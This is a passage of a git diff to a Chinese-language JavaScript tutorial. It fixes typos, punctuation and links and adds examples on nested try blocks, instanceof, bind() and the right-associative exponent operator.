+`catch`代码块之中，触发转入`finally`代码块的标志，不仅有`return`语句，还有`throw`语句。
 
 ```javascript
 function f() {
@@ -431,6 +430,26 @@ try {
 
 上面代码中，进入`catch`代码块之后，一遇到`throw`语句，就会去执行`finally`代码块，其中有`return false`语句，因此就直接返回了，不再会回去执行`catch`代码块剩下的部分了。
 
+`try`代码块内部，还可以再使用`try`代码块。
+
+```javascript
+try {
+  try {
+    consle.log('Hello world!'); // 报错
+  }
+  finally {
+    console.log('Finally');
+  }
+  console.log('Will I run?');
+} catch(error) {
+  console.error(error.message);
+}
+// Finally
+// consle is not defined
+```
+
+上面代码中，`try`里面还有一个`try`。内层的`try`报错（`console`拼错了），这时会执行内层的`finally`代码块，然后抛出错误，被外层的`catch`捕获。
+
 ## 参考连接
 
 - Jani Hartikainen, [JavaScript Errors and How to Fix Them](http://davidwalsh.name/fix-javascript-errors)
diff --git a/docs/features/style.md b/docs/features/style.md
index 2016d42..0ea77e1 100644
--- a/docs/features/style.md
+++ b/docs/features/style.md
@@ -2,9 +2,9 @@
 
 ## 概述
 
-”编程风格“（programming style）指的是编写代码的样式规则。不同的程序员，往往有不同的编程风格。
+“编程风格”（programming style）指的是编写代码的样式规则。不同的程序员，往往有不同的编程风格。
 
-有人说，编译器的规范叫做”语法规则“（grammar），这是程序员必须遵守的；而编译器忽略的部分，就叫”编程风格“（programming style），这是程序员可以自由选择的。这种说法不完全正确，程序员固然可以自由选择编程风格，但是好的编程风格有助于写出质量更高、错误更少、更易于维护的程序。
+有人说，编译器的规范叫做“语法规则”（grammar），这是程序员必须遵守的；而编译器忽略的部分，就叫“编程风格”（programming style），这是程序员可以自由选择的。这种说法不完全正确，程序员固然可以自由选择编程风格，但是好的编程风格有助于写出质量更高、错误更少、更易于维护的程序。
 
 所以，编程风格的选择不应该基于个人爱好、熟悉程度、打字量等因素，而要考虑如何尽量使代码清晰易读、减少出错。你选择的，不是你喜欢的风格，而是一种能够清晰表达你的意图的风格。这一点，对于 JavaScript 这种语法自由度很高的语言尤其重要。
 
@@ -323,7 +323,7 @@ JavaScript 最大的语法缺点，可能就是全局变量对于任何一个代
 
 ## 变量声明
 
-JavaScript 会自动将变量声明”提升“（hoist）到代码块（block）的头部。
+JavaScript 会自动将变量声明“提升”（hoist）到代码块（block）的头部。
 
 ```javascript
 if (!x) {
@@ -378,7 +378,7 @@ foo = o.bar;
 
 ## 相等和严格相等
 
-JavaScript 有两个表示相等的运算符：”相等“（`==`）和”严格相等“（`===`）。
+JavaScript 有两个表示相等的运算符：“相等”（`==`）和“严格相等”（`===`）。
 
 相等运算符会自动转换变量类型，造成很多意想不到的情况。
 
@@ -448,13 +448,10 @@ function doAction(action) {
   switch (action) {
     case 'hack':
       return 'hack';
-      break;
     case 'slash':
       return 'slash';
-      break;
     case 'run':
       return 'run';
-      break;
     default:
       throw new Error('Invalid action.');
   }
@@ -489,8 +486,7 @@ function doAction(action) {
 
 ## 参考链接
 
-- Eric Elliott, Programming JavaScript Applications, [Chapter 2. JavaScript Style Guide](http://chimera.labs.oreilly.com/books/1234000000262/ch02.html), O'Reilly, 2013
+- Eric Elliott, Programming JavaScript Applications, [Chapter 2. JavaScript Style Guide](https://www.oreilly.com/library/view/programming-javascript-applications/9781491950289/), O'Reilly, 2014
 - Axel Rauschmayer, [A meta style guide for JavaScript](http://www.2ality.com/2013/07/meta-style-guide.html)
 - Axel Rauschmayer, [Automatic semicolon insertion in JavaScript](http://www.2ality.com/2011/05/semicolon-insertion.html)
 - Rod Vagg, [JavaScript and Semicolons](http://dailyjs.com/2012/04/19/semicolons/)
-
diff --git a/docs/oop/new.md b/docs/oop/new.md
index a5822c1..ae7d32d 100644
--- a/docs/oop/new.md
+++ b/docs/oop/new.md
@@ -12,11 +12,11 @@ JavaScript 语言具有很强的面向对象编程能力，本章介绍 JavaScri
 
 **（1）对象是单个实物的抽象。**
 
-一本书、一辆汽车、一个人都可以是对象，一个数据库、一张网页、一个与远程服务器的连接也可以是对象。当实物被抽象成对象，实物之间的关系就变成了对象之间的关系，从而就可以模拟现实情况，针对对象进行编程。
+一本书、一辆汽车、一个人都可以是对象，一个数据库、一张网页、一个远程服务器连接也可以是对象。当实物被抽象成对象，实物之间的关系就变成了对象之间的关系，从而就可以模拟现实情况，针对对象进行编程。
 
 **（2）对象是一个容器，封装了属性（property）和方法（method）。**
 
-属性是对象的状态，方法是对象的行为（完成某种任务）。比如，我们可以把动物抽象为`animal`对象，使用“属性”记录具体是那一种动物，使用“方法”表示动物的某种行为（奔跑、捕猎、休息等等）。
+属性是对象的状态，方法是对象的行为（完成某种任务）。比如，我们可以把动物抽象为`animal`对象，使用“属性”记录具体是哪一种动物，使用“方法”表示动物的某种行为（奔跑、捕猎、休息等等）。
 
 ## 构造函数
 
@@ -26,7 +26,7 @@ JavaScript 语言具有很强的面向对象编程能力，本章介绍 JavaScri
 
 JavaScript 语言使用构造函数（constructor）作为对象的模板。所谓”构造函数”，就是专门用来生成实例对象的函数。它就是对象的模板，描述实例对象的基本结构。一个构造函数，可以生成多个实例对象，这些实例对象都有相同的结构。
 
-构造函数就是一个普通的函数，但是有自己的特征和用法。
+构造函数就是一个普通的函数，但具有自己的特征和用法。
 
 ```javascript
 var Vehicle = function () {
@@ -252,4 +252,3 @@ person2.greeting() // Hi! I'm 张三.
 上面代码中，对象`person1`是`person2`的模板，后者继承了前者的属性和方法。
 
 `Object.create()`的详细介绍，请看后面的相关章节。
-
diff --git a/docs/oop/object.md b/docs/oop/object.md
index 9c760a2..a7e0340 100644
--- a/docs/oop/object.md
+++ b/docs/oop/object.md
@@ -62,7 +62,7 @@ F.call(f);
 
 生成实例对象的常用方法是，使用`new`命令让构造函数返回一个实例。但是很多时候，只能拿到一个实例对象，它可能根本不是由构建函数生成的，那么能不能从一个实例对象，生成另一个实例对象呢？
 
-JavaScript 提供了`Object.create`方法，用来满足这种需求。该方法接受一个对象作为参数，然后以它为原型，返回一个实例对象。该实例完全继承原型对象的属性。
+JavaScript 提供了`Object.create()`方法，用来满足这种需求。该方法接受一个对象作为参数，然后以它为原型，返回一个实例对象。该实例完全继承原型对象的属性。
 
 ```javascript
 // 原型对象
@@ -80,9 +80,9 @@ B.print() // hello
 B.print === A.print // true
 ```
 
-上面代码中，`Object.create`方法以`A`对象为原型，生成了`B`对象。`B`继承了`A`的所有属性和方法。
+上面代码中，`Object.create()`方法以`A`对象为原型，生成了`B`对象。`B`继承了`A`的所有属性和方法。
 
-实际上，`Object.create`方法可以用下面的代码代替。
+实际上，`Object.create()`方法可以用下面的代码代替。
 
 ```javascript
 if (typeof Object.create !== 'function') {
@@ -94,7 +94,7 @@ if (typeof Object.create !== 'function') {
 }
 ```
 
-上面代码表明，`Object.create`方法的实质是新建一个空的构造函数`F`，然后让`F.prototype`属性指向参数对象`obj`，最后返回一个`F`的实例，从而实现让该实例继承`obj`的属性。
+上面代码表明，`Object.create()`方法的实质是新建一个空的构造函数`F`，然后让`F.prototype`属性指向参数对象`obj`，最后返回一个`F`的实例，从而实现让该实例继承`obj`的属性。
 
 下面三种方式生成的新对象是等价的。
 
@@ -104,7 +104,7 @@ var obj2 = Object.create(Object.prototype);
 var obj3 = new Object();
 ```
 
-如果想要生成一个不继承任何属性（比如没有`toString`和`valueOf`方法）的对象，可以将`Object.create`的参数设为`null`。
+如果想要生成一个不继承任何属性（比如没有`toString()`和`valueOf()`方法）的对象，可以将`Object.create()`的参数设为`null`。
 
 ```javascript
 var obj = Object.create(null);
@@ -113,9 +113,9 @@ obj.valueOf()
 // TypeError: Object [object Object] has no method 'valueOf'
 ```
 
-上面代码中，对象`obj`的原型是`null`，它就不具备一些定义在`Object.prototype`对象上面的属性，比如`valueOf`方法。
+上面代码中，对象`obj`的原型是`null`，它就不具备一些定义在`Object.prototype`对象上面的属性，比如`valueOf()`方法。
 
-使用`Object.create`方法的时候，必须提供对象原型，即参数不能为空，或者不是对象，否则会报错。
+使用`Object.create()`方法的时候，必须提供对象原型，即参数不能为空，或者不是对象，否则会报错。
 
 ```javascript
 Object.create()
@@ -124,7 +124,7 @@ Object.create(123)
 // TypeError: Object prototype may only be an Object or null
 ```
 
-`Object.create`方法生成的新对象，动态继承了原型。在原型上添加或修改任何方法，会立刻反映在新对象之上。
+`Object.create()`方法生成的新对象，动态继承了原型。在原型上添加或修改任何方法，会立刻反映在新对象之上。
 
 ```javascript
 var obj1 = { p: 1 };
@@ -136,7 +136,7 @@ obj2.p // 2
 
 上面代码中，修改对象原型`obj1`会影响到实例对象`obj2`。
 
-除了对象的原型，`Object.create`方法还可以接受第二个参数。该参数是一个属性描述对象，它所描述的对象属性，会添加到实例对象，作为该对象自身的属性。
+除了对象的原型，`Object.create()`方法还可以接受第二个参数。该参数是一个属性描述对象，它所描述的对象属性，会添加到实例对象，作为该对象自身的属性。
 
 ```javascript
 var obj = Object.create({}, {
@@ -160,7 +160,7 @@ obj.p1 = 123;
 obj.p2 = 'abc';
 ```
 
-`Object.create`方法生成的对象，继承了它的原型对象的构造函数。
+`Object.create()`方法生成的对象，继承了它的原型对象的构造函数。
 
 ```javascript
 function A() {}
@@ -211,7 +211,7 @@ Object.getPrototypeOf(obj) === p // true
 
 上面代码通过`__proto__`属性，将`p`对象设为`obj`对象的原型。
 
-根据语言标准，`__proto__`属性只有浏览器才需要部署，其他环境可以没有这个属性。它前后的两根下划线，表明它本质是一个内部属性，不应该对使用者暴露。因此，应该尽量少用这个属性，而是用`Object.getPrototypeof()`和`Object.setPrototypeOf()`，进行原型对象的读写操作。
+根据语言标准，`__proto__`属性只有浏览器才需要部署，其他环境可以没有这个属性。它前后的两根下划线，表明它本质是一个内部属性，不应该对使用者暴露。因此，应该尽量少用这个属性，而是用`Object.getPrototypeOf()`和`Object.setPrototypeOf()`，进行原型对象的读写操作。
 
 原型链可以用`__proto__`很直观地表示。
 
diff --git a/docs/oop/prototype.md b/docs/oop/prototype.md
index 833bc4f..d1ae8df 100644
--- a/docs/oop/prototype.md
+++ b/docs/oop/prototype.md
@@ -2,7 +2,9 @@
 
 面向对象编程很重要的一个方面，就是对象的继承。A 对象通过继承 B 对象，就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。
 
-大部分面向对象的编程语言，都是通过“类”（class）来实现对象的继承。JavaScript 语言的继承则是通过“原型对象”（prototype）。
+大部分面向对象的编程语言，都是通过“类”（class）实现对象的继承。传统上，JavaScript 语言的继承不通过 class，而是通过“原型对象”（prototype）实现，本章介绍 JavaScript 的原型链继承。
+
+ES6 引入了 class 语法，基于 class 的继承不在这个教程介绍，请参阅《ES6 标准入门》一书的相关章节。
 
 ## 原型对象概述
 
@@ -144,7 +146,7 @@ mine instanceof Array // true
 
 上面代码中，`mine`是构造函数`MyArray`的实例对象，由于`MyArray.prototype`指向一个数组实例，使得`mine`可以调用数组方法（这些方法定义在数组实例的`prototype`对象上面）。最后那行`instanceof`表达式，用来比较一个对象是否为某个构造函数的实例，结果就是证明`mine`为`Array`的实例，`instanceof`运算符的详细解释详见后文。
 
-上面代码还出现了原型对象的`contructor`属性，这个属性的含义下一节就来解释。
+上面代码还出现了原型对象的`constructor`属性，这个属性的含义下一节就来解释。
 
 ### constructor 属性
 
@@ -217,7 +219,7 @@ Person.prototype.constructor === Person // false
 Person.prototype.constructor === Object // true
 ```
 
-上面代码中，构造函数`Person`的原型对象改掉了，但是没有修改`constructor`属性，导致这个属性不再指向`Person`。由于`Person`的新原型是一个普通对象，而普通对象的`contructor`属性指向`Object`构造函数，导致`Person.prototype.constructor`变成了`Object`。
+上面代码中，构造函数`Person`的原型对象改掉了，但是没有修改`constructor`属性，导致这个属性不再指向`Person`。由于`Person`的新原型是一个普通对象，而普通对象的`constructor`属性指向`Object`构造函数，导致`Person.prototype.constructor`变成了`Object`。
 
 所以，修改原型对象时，一般要同时修改`constructor`属性的指向。
 
@@ -260,7 +262,7 @@ v instanceof Vehicle // true
 
 上面代码中，对象`v`是构造函数`Vehicle`的实例，所以返回`true`。
 
-`instanceof`运算符的左边是实例对象，右边是构造函数。它会检查右边构建函数的原型对象（prototype），是否在左边对象的原型链上。因此，下面两种写法是等价的。
+`instanceof`运算符的左边是实例对象，右边是构造函数。它会检查右边构造函数的原型对象（prototype），是否在左边对象的原型链上。因此，下面两种写法是等价的。
 
 ```javascript
 v instanceof Vehicle
@@ -268,7 +270,7 @@ v instanceof Vehicle
 Vehicle.prototype.isPrototypeOf(v)
 ```
 
-上面代码中，`Object.prototype.isPrototypeOf`的详细解释见后文。
+上面代码中，`Vehicle`是对象`v`的构造函数，它的原型对象是`Vehicle.prototype`，`isPrototypeOf()`方法是 JavaScript 提供的原生方法，用于检查某个对象是否为另一个对象的原型，详细解释见后文。
 
 由于`instanceof`检查整个原型链，因此同一个实例对象，可能会对多个构造函数都返回`true`。
 
@@ -280,15 +282,26 @@ d instanceof Object // true
 
 上面代码中，`d`同时是`Date`和`Object`的实例，因此对这两个构造函数都返回`true`。
 
+由于任意对象（除了`null`）都是`Object`的实例，所以`instanceof`运算符可以判断一个值是否为非`null`的对象。
+
+```javascript
+var obj = { foo: 123 };
+obj instanceof Object // true
+
+null instanceof Object // false
+```
+
+上面代码中，除了`null`，其他对象的`instanceOf Object`的运算结果都是`true`。
+
 `instanceof`的原理是检查右边构造函数的`prototype`属性，是否在左边对象的原型链上。有一种特殊情况，就是左边对象的原型链上，只有`null`对象。这时，`instanceof`判断会失真。
 
 ```javascript
 var obj = Object.create(null);
 typeof obj // "object"
-Object.create(null) instanceof Object // false
+obj instanceof Object // false
 ```
 
-上面代码中，`Object.create(null)`返回一个新对象`obj`，它的原型是`null`（`Object.create`的详细介绍见后文）。右边的构造函数`Object`的`prototype`属性，不在左边的原型链上，因此`instanceof`就认为`obj`不是`Object`的实例。但是，只要一个对象的原型不是`null`，`instanceof`运算符的判断就不会失真。
+上面代码中，`Object.create(null)`返回一个新对象`obj`，它的原型是`null`（`Object.create()`的详细介绍见后文）。右边的构造函数`Object`的`prototype`属性，不在左边的原型链上，因此`instanceof`就认为`obj`不是`Object`的实例。这是唯一的`instanceof`运算符判断会失真的情况（一个对象的原型是`null`）。
 
 `instanceof`运算符的一个用处，是判断值的类型。
 
@@ -310,7 +323,7 @@ s instanceof String // false
 
 上面代码中，字符串不是`String`对象的实例（因为字符串不是对象），所以返回`false`。
 
-此外，对于`undefined`和`null`，`instanceOf`运算符总是返回`false`。
+此外，对于`undefined`和`null`，`instanceof`运算符总是返回`false`。
 
 ```javascript
 undefined instanceof Object // false
@@ -443,7 +456,7 @@ Object.assign(S.prototype, M2.prototype);
 S.prototype.constructor = S;
 
 var s = new S();
-s.hello // 'hello：'
+s.hello // 'hello'
 s.world // 'world'
 ```
 
@@ -451,14 +464,10 @@ s.world // 'world'
 
 ## 模块
 
-随着网站逐渐变成"互联网应用程序"，嵌入网页的 JavaScript 代码越来越庞大，越来越复杂。网页越来越像桌面程序，需要一个团队分工协作、进度管理、单元测试等等……开发者必须使用软件工程的方法，管理网页的业务逻辑。
+随着网站逐渐变成“互联网应用程序”，嵌入网页的 JavaScript 代码越来越庞大，越来越复杂。网页越来越像桌面程序，需要一个团队分工协作、进度管理、单元测试等等……开发者必须使用软件工程的方法，管理网页的业务逻辑。
 
 JavaScript 模块化编程，已经成为一个迫切的需求。理想情况下，开发者只需要实现核心的业务逻辑，其他都可以加载别人已经写好的模块。
 
-
-："污染"了全局变量，无法保证不与其他模块发生变量名冲突，而且模块成员之间看不出直接关系。
-
-为了解决上面的缺点，可以
 但是，JavaScript 不是一种模块化编程语言，ES6 才开始支持“类”和“模块”。下面介绍传统的做法，如何利用对象实现模块的效果。
 
 ### 基本的实现方法
@@ -510,7 +519,7 @@ function StringBuilder() {
 }
 ```
 
-上面代码中，`buffer`是模块的私有变量。一旦生成实例对象，外部是无法直接访问`buffer`的。但是，这种方法将私有变量封装在构造函数中，违反了构造函数与实例对象相分离的原则。并且，非常耗费内存。
+上面代码中，`buffer`是模块的私有变量。一旦生成实例对象，外部是无法直接访问`buffer`的。但是，这种方法将私有变量封装在构造函数中，导致构造函数与实例对象是一体的，总是存在于内存之中，无法在使用完成后清除。这意味着，构造函数有双重作用，既用来塑造实例对象，又用来保存实例对象的数据，违背了构造函数与实例对象在数据上相分离的原则（即实例对象的数据，不应该保存在实例对象以外）。同时，非常耗费内存。
 
 ```javascript
 function StringBuilder() {
@@ -618,7 +627,7 @@ var module1 = (function ($, YAHOO) {
   //attach to the global scope
   window.finalCarousel = {
     init : initialize,
-    destroy : dieCouraselDie
+    destroy : dieCarouselDie
   }
 
 })( jQuery, window, document );
@@ -628,4 +637,4 @@ var module1 = (function ($, YAHOO) {
 
 ## 参考链接
 
-- [JavaScript Modules: A Beginner’s Guide](https://medium.freecodecamp.com/javascript-modules-a-beginner-s-guide-783f7d7a5fcc), by Preethi Kasireddy
+- [JavaScript Modules: A Beginner’s Guide](https://www.freecodecamp.org/news/javascript-modules-a-beginner-s-guide-783f7d7a5fcc), by Preethi Kasireddy
diff --git a/docs/oop/strict.md b/docs/oop/strict.md
index 36655eb..cc339c8 100644
--- a/docs/oop/strict.md
+++ b/docs/oop/strict.md
@@ -12,7 +12,7 @@
 
 - 明确禁止一些不合理、不严谨的语法，减少 JavaScript 语言的一些怪异行为。
 - 增加更多报错的场合，消除代码运行的一些不安全之处，保证代码运行的安全。
-- 提高编译器效率，增加运行速度。
+- 提高编译器效率，提升运行速度。
 - 为未来新版本的 JavaScript 语法做好铺垫。
 
 总之，严格模式体现了 JavaScript 更合理、更安全、更严谨的发展方向。
@@ -108,7 +108,7 @@ function notStrict() {
 ```javascript
 // 对只读属性赋值会报错
 'use strict';
-Object.defineProperty({}, 'a', {
+var obj = Object.defineProperty({}, 'a', {
   value: 37,
   writable: false
 });
@@ -406,7 +406,7 @@ f(1); // 严格模式为[2, 1]
 
 ## 向下一个版本的 JavaScript 过渡
 
-JavaScript语言的下一个版本是 ECMAScript 6，为了平稳过渡，严格模式引入了一些 ES6 语法。
+JavaScript 语言的下一个版本是 ECMAScript 6，为了平稳过渡，严格模式引入了一些 ES6 语法。
 
 ### 非函数代码块不得声明函数
 
diff --git a/docs/oop/this.md b/docs/oop/this.md
index afe348e..6792c30 100644
--- a/docs/oop/this.md
+++ b/docs/oop/this.md
@@ -679,26 +679,26 @@ Array.prototype.slice.apply({length: 1}) // [undefined]
 前面的按钮点击事件的例子，可以改写如下。
 
 ```javascript
-var o = new Object();
+var obj = new Object();
 
-o.f = function () {
-  console.log(this === o);
+var func = function () {
+  console.log(this === obj);
 }
 
-var f = function (){
-  o.f.apply(o);
-  // 或者 o.f.call(o);
+var handler = function (){
+  func.apply(obj);
+  // 或者 func.call(obj);
 };
 
 // jQuery 的写法
-$('#button').on('click', f);
+$('#button').on('click', handler);
 ```
 
-上面代码中，点击按钮以后，控制台将会显示`true`。由于`apply`方法（或者`call`方法）不仅绑定函数执行时所在的对象，还会立即执行函数，因此不得不把绑定语句写在一个函数体内。更简洁的写法是采用下面介绍的`bind`方法。
+上面代码中，点击按钮以后，控制台将会显示`true`。由于`apply()`方法（或者`call()`方法）不仅绑定函数执行时所在的对象，还会立即执行函数，因此不得不把绑定语句写在一个函数体内。更简洁的写法是采用下面介绍的`bind()`方法。
 
 ### Function.prototype.bind()
 
-`bind`方法用于将函数体内的`this`绑定到某个对象，然后返回一个新函数。
+`bind()`方法用于将函数体内的`this`绑定到某个对象，然后返回一个新函数。
 
 ```javascript
 var d = new Date();
@@ -708,16 +708,16 @@ var print = d.getTime;
 print() // Uncaught TypeError: this is not a Date object.
 ```
 
-上面代码中，我们将`d.getTime`方法赋给变量`print`，然后调用`print`就报错了。这是因为`getTime`方法内部的`this`，绑定`Date`对象的实例，赋给变量`print`以后，内部的`this`已经不指向`Date`对象的实例了。
+上面代码中，我们将`d.getTime()`方法赋给变量`print`，然后调用`print()`就报错了。这是因为`getTime()`方法内部的`this`，绑定`Date`对象的实例，赋给变量`print`以后，内部的`this`已经不指向`Date`对象的实例了。
 
-`bind`方法可以解决这个问题。
+`bind()`方法可以解决这个问题。
 
 ```javascript
 var print = d.getTime.bind(d);
 print() // 1481869925657
 ```
 
-上面代码中，`bind`方法将`getTime`方法内部的`this`绑定到`d`对象，这时就可以安全地将这个方法赋值给其他变量了。
+上面代码中，`bind()`方法将`getTime()`方法内部的`this`绑定到`d`对象，这时就可以安全地将这个方法赋值给其他变量了。
 
 `bind`方法的参数就是所要绑定`this`的对象，下面是一个更清晰的例子。
 
@@ -734,7 +734,7 @@ func();
 counter.count // 1
 ```
 
-上面代码中，`counter.inc`方法被赋值给变量`func`。这时必须用`bind`方法将`inc`内部的`this`，绑定到`counter`，否则就会出错。
+上面代码中，`counter.inc()`方法被赋值给变量`func`。这时必须用`bind()`方法将`inc()`内部的`this`，绑定到`counter`，否则就会出错。
 
 `this`绑定到其他对象也是可以的。
 
@@ -754,9 +754,9 @@ func();
 obj.count // 101
 ```
 
-上面代码中，`bind`方法将`inc`方法内部的`this`，绑定到`obj`对象。结果调用`func`函数以后，递增的就是`obj`内部的`count`属性。
+上面代码中，`bind()`方法将`inc()`方法内部的`this`，绑定到`obj`对象。结果调用`func`函数以后，递增的就是`obj`内部的`count`属性。
 
-`bind`还可以接受更多的参数，将这些参数绑定原函数的参数。
+`bind()`还可以接受更多的参数，将这些参数绑定原函数的参数。
 
 ```javascript
 var add = function (x, y) {
@@ -772,9 +772,9 @@ var newAdd = add.bind(obj, 5);
 newAdd(5) // 20
 ```
 
-上面代码中，`bind`方法除了绑定`this`对象，还将`add`函数的第一个参数`x`绑定成`5`，然后返回一个新函数`newAdd`，这个函数只要再接受一个参数`y`就能运行了。
+上面代码中，`bind()`方法除了绑定`this`对象，还将`add()`函数的第一个参数`x`绑定成`5`，然后返回一个新函数`newAdd()`，这个函数只要再接受一个参数`y`就能运行了。
 
-如果`bind`方法的第一个参数是`null`或`undefined`，等于将`this`绑定到全局对象，函数运行时`this`指向顶层对象（浏览器为`window`）。
+如果`bind()`方法的第一个参数是`null`或`undefined`，等于将`this`绑定到全局对象，函数运行时`this`指向顶层对象（浏览器为`window`）。
 
 ```javascript
 function add(x, y) {
@@ -785,19 +785,19 @@ var plus5 = add.bind(null, 5);
 plus5(10) // 15
 ```
 
-上面代码中，函数`add`内部并没有`this`，使用`bind`方法的主要目的是绑定参数`x`，以后每次运行新函数`plus5`，就只需要提供另一个参数`y`就够了。而且因为`add`内部没有`this`，所以`bind`的第一个参数是`null`，不过这里如果是其他对象，也没有影响。
+上面代码中，函数`add()`内部并没有`this`，使用`bind()`方法的主要目的是绑定参数`x`，以后每次运行新函数`plus5()`，就只需要提供另一个参数`y`就够了。而且因为`add()`内部没有`this`，所以`bind()`的第一个参数是`null`，不过这里如果是其他对象，也没有影响。
 
-`bind`方法有一些使用注意点。
+`bind()`方法有一些使用注意点。
 
 **（1）每一次返回一个新函数**
 
-`bind`方法每运行一次，就返回一个新函数，这会产生一些问题。比如，监听事件的时候，不能写成下面这样。
+`bind()`方法每运行一次，就返回一个新函数，这会产生一些问题。比如，监听事件的时候，不能写成下面这样。
 
 ```javascript
 element.addEventListener('click', o.m.bind(o));
 ```
 
-上面代码中，`click`事件绑定`bind`方法生成的一个匿名函数。这样会导致无法取消绑定，所以，下面的代码是无效的。
+上面代码中，`click`事件绑定`bind()`方法生成的一个匿名函数。这样会导致无法取消绑定，所以下面的代码是无效的。
 
 ```javascript
 element.removeEventListener('click', o.m.bind(o));
@@ -814,7 +814,7 @@ element.removeEventListener('click', listener);
 
 **（2）结合回调函数使用**
 
-回调函数是 JavaScript 最常用的模式之一，但是一个常见的错误是，将包含`this`的方法直接当作回调函数。解决方法就是使用`bind`方法，将`counter.inc`绑定`counter`。
+回调函数是 JavaScript 最常用的模式之一，但是一个常见的错误是，将包含`this`的方法直接当作回调函数。解决方法就是使用`bind()`方法，将`counter.inc()`绑定`counter`。
 
 ```javascript
 var counter = {
@@ -833,7 +833,7 @@ callIt(counter.inc.bind(counter));
 counter.count // 1
 ```
 
-上面代码中，`callIt`方法会调用回调函数。这时如果直接把`counter.inc`传入，调用时`counter.inc`内部的`this`就会指向全局对象。使用`bind`方法将`counter.inc`绑定`counter`以后，就不会有这个问题，`this`总是指向`counter`。
+上面代码中，`callIt()`方法会调用回调函数。这时如果直接把`counter.inc`传入，调用时`counter.inc()`内部的`this`就会指向全局对象。使用`bind()`方法将`counter.inc`绑定`counter`以后，就不会有这个问题，`this`总是指向`counter`。
 
 还有一种情况比较隐蔽，就是某些数组方法可以接受一个函数当作参数。这些函数内部的`this`指向，很可能也会出错。
 
@@ -843,13 +843,6 @@ var obj = {
   times: [1, 2, 3],
   print: function () {
     this.times.forEach(function (n) {
----
-title: this 关键字
-layout: page
-category: oop
-date: 2016-06-28
-modifiedOn: 2016-06-28
----
       console.log(this.name);
     });
   }
@@ -859,7 +852,7 @@ obj.print()
 // 没有任何输出
 ```
 
-上面代码中，`obj.print`内部`this.times`的`this`是指向`obj`的，这个没有问题。但是，`forEach`方法的回调函数内部的`this.name`却是指向全局对象，导致没有办法取到值。稍微改动一下，就可以看得更清楚。
+上面代码中，`obj.print`内部`this.times`的`this`是指向`obj`的，这个没有问题。但是，`forEach()`方法的回调函数内部的`this.name`却是指向全局对象，导致没有办法取到值。稍微改动一下，就可以看得更清楚。
 
 ```javascript
 obj.print = function () {
@@ -874,7 +867,7 @@ obj.print()
 // true
 ```
 
-解决这个问题，也是通过`bind`方法绑定`this`。
+解决这个问题，也是通过`bind()`方法绑定`this`。
 
 ```javascript
 obj.print = function () {
@@ -889,9 +882,9 @@ obj.print()
 // 张三
 ```
 
-**（3）结合`call`方法使用**
+**（3）结合`call()`方法使用**
 
-利用`bind`方法，可以改写一些 JavaScript 原生方法的使用形式，以数组的`slice`方法为例。
+利用`bind()`方法，可以改写一些 JavaScript 原生方法的使用形式，以数组的`slice()`方法为例。
 
 ```javascript
 [1, 2, 3].slice(0, 1) // [1]
@@ -899,9 +892,9 @@ obj.print()
 Array.prototype.slice.call([1, 2, 3], 0, 1) // [1]
 ```
 
-上面的代码中，数组的`slice`方法从`[1, 2, 3]`里面，按照指定位置和长度切分出另一个数组。这样做的本质是在`[1, 2, 3]`上面调用`Array.prototype.slice`方法，因此可以用`call`方法表达这个过程，得到同样的结果。
+上面的代码中，数组的`slice`方法从`[1, 2, 3]`里面，按照指定的开始位置和结束位置，切分出另一个数组。这样做的本质是在`[1, 2, 3]`上面调用`Array.prototype.slice()`方法，因此可以用`call`方法表达这个过程，得到同样的结果。
 
-`call`方法实质上是调用`Function.prototype.call`方法，因此上面的表达式可以用`bind`方法改写。
+`call()`方法实质上是调用`Function.prototype.call()`方法，因此上面的表达式可以用`bind()`方法改写。
 
 ```javascript
 var slice = Function.prototype.call.bind(Array.prototype.slice);
@@ -941,4 +934,3 @@ bind(f, o)() // 123
 - Jonathan Creamer, [Avoiding the "this" problem in JavaScript](http://tech.pro/tutorial/1192/avoiding-the-this-problem-in-javascript)
 - Erik Kronberg, [Bind, Call and Apply in JavaScript](https://variadic.me/posts/2013-10-22-bind-call-and-apply-in-javascript.html)
 - Axel Rauschmayer, [JavaScript’s this: how it works, where it can trip you up](http://www.2ality.com/2014/05/this.html)
-
diff --git a/docs/operators/arithmetic.md b/docs/operators/arithmetic.md
index 7193c34..fa33562 100644
--- a/docs/operators/arithmetic.md
+++ b/docs/operators/arithmetic.md
@@ -242,6 +242,16 @@ var x = 1;
 2 ** 4 // 16
 ```
 
+注意，指数运算符是右结合，而不是左结合。即多个指数运算符连用时，先进行最右边的计算。
+
+```javascript
+// 相当于 2 ** (3 ** 2)
+2 ** 3 ** 2
+// 512
+```
+
+上面代码中，由于指数运算符是右结合，所以先计算第二个指数运算符，而不是第一个。
+
 ## 赋值运算符
 
 赋值运算符（Assignment Operators）用于给变量赋值。
diff --git a/docs/operators/bit.md b/docs/operators/bit.md
index 89c446c..3c86e3d 100644
--- a/docs/operators/bit.md
+++ b/docs/operators/bit.md
@@ -10,7 +10,7 @@
 - **异或运算符**（xor）：符号为`^`，表示若两个二进制位不相同，则结果为1，否则为0。
 - **左移运算符**（left shift）：符号为`<<`，详见下文解释。
 - **右移运算符**（right shift）：符号为`>>`，详见下文解释。
-- **带符号位的右移运算符**（zero filled right shift）：符号为`>>>`，详见下文解释。
+- **头部补零的右移运算符**（zero filled right shift）：符号为`>>>`，详见下文解释。
 
 这些位运算符直接处理每一个比特位（bit），所以是非常底层的运算，好处是速度极快，缺点是很不直观，许多场合不能使用它们，否则会使代码难以理解和查错。
 
@@ -41,7 +41,7 @@ toInt32(Math.pow(2, 32) + 1) // 1
 toInt32(Math.pow(2, 32) - 1) // -1
 ```
 
-上面代码中，`toInt32`可以将小数转为整数。对于一般的整数，返回值不会有任何变化。对于大于2的32次方的整数，大于32位的数位都会被舍去。
+上面代码中，`toInt32`可以将小数转为整数。对于一般的整数，返回值不会有任何变化。对于大于或等于2的32次方的整数，大于32位的数位都会被舍去。
 
 ## 二进制或运算符
 
@@ -85,7 +85,7 @@ toInt32(Math.pow(2, 32) - 1) // -1
 ~ 3 // -4
 ```
 
-上面表达式对`3`进行二进制否运算，得到`-4`。之所以会有这样的结果，是因为位运算时，JavaScirpt 内部将所有的运算子都转为32位的二进制整数再进行运算。
+上面表达式对`3`进行二进制否运算，得到`-4`。之所以会有这样的结果，是因为位运算时，JavaScript 内部将所有的运算子都转为32位的二进制整数再进行运算。
 
